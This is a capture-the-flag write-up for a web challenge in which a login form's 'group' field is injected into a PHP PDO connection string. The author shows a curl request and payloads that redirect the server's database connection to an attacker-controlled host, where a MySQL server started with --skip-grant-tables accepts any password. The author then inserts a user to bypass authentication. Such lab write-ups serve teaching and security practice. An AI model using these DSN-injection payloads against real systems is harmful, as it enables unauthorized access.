SHX13 - web300-restricted_area

Give me the flag.

To start your challenge environment: https://shellterlabs.com/en/ctf-master/shellter-hacking-express-master/shx-13/shx13-restricted-area/

Solution

A simple login form was presented to us..

I started the recon checking the HTTP methods, directory/file bruteforce, SQLi tests, found nothing suspect.

But when fuzzing the postdata uname=test&pword=test123&group=users the server crashed and i need to restart the environment..

Noticed this happens only when the group field data is changed. Changing it to everything different from users returned a PDO error PDOException :: 1049

curl -i -s -k  -X 'POST' \  
    -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0' -H 'Referer: http://lab.shellterlabs.com:32849/' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' \
    -b 'PHPSESSID=i1vki30916t1r7bjaprovmsi31' \
    --data-binary $'uname=test&pword=test123&group=usersAAA' \
    'http://lab.shellterlabs.com:32849/login.php'

1049 error code means unknown database

Nice, we can control the choosen database, you can confirm this trying to select some built-in MySQL database like sys

As you can see, no PDO error!

Well, searching for php PDO documentation I found this reference..

<?php  
/* Connect to a MySQL database using driver invocation */
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

try {  
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

A PDO connection sample.. maybe we can have full control of $dsn. Let's give a try..

Payload: uname=test&pword=test123&group=users;host=127.0.0.1  
Answer: PDOException :: 1130  

Hmm, error code changed to 1130, it means not allowed to connect to this MySQL server. Awesome! we can point it to connect at any IP!

Obviously i launched a locally netcat listening at port 3000, and tried to get a reverse connection w/ this payload uname=test&pword=test123&group=sad;host=MY_IP;port=3000

Bam! the Shellter server is trying to connect here and when I close netcat connection it return another error code PDOException :: 2013 which means Lost connection to MySQL server

Then I setup a MySQL server locally and launched wireshark to see what's happening in raw background..

The server is trying to authenticate here with pdo_user, and some password we don't know..

.. the password is hashed to XXXXXXXXXXX2f337c1f8f458c8c8929e370dc494, tried to crack w/ some common passwords and masks but no success.

I've created the pdo_user, but how to solve the password problem? The server needs to authenticate here before start sending queries, it's explicit (using pass word: YES)

Time ago while working w/ MySQL, I remember a situation where I lost the root password, then I've used a command line argument to launch mysqld disabling grants, then was possible to access all my database sending null/invalid passwords.

mysqld --skip-grant-tables

..now the server authenticated and start doing some queries..

Perfect.. all we need to do now is create a database users with username/password structure and insert our valid user..

INSERT INTO `users` (`username`, `password`) VALUES ('test', 'test123');  

No more error, and now we got a 302 redirection to a page different from index.php

We are logged into the system, and here is our flag!

As always.. awesome challenge ShellterLabs

References

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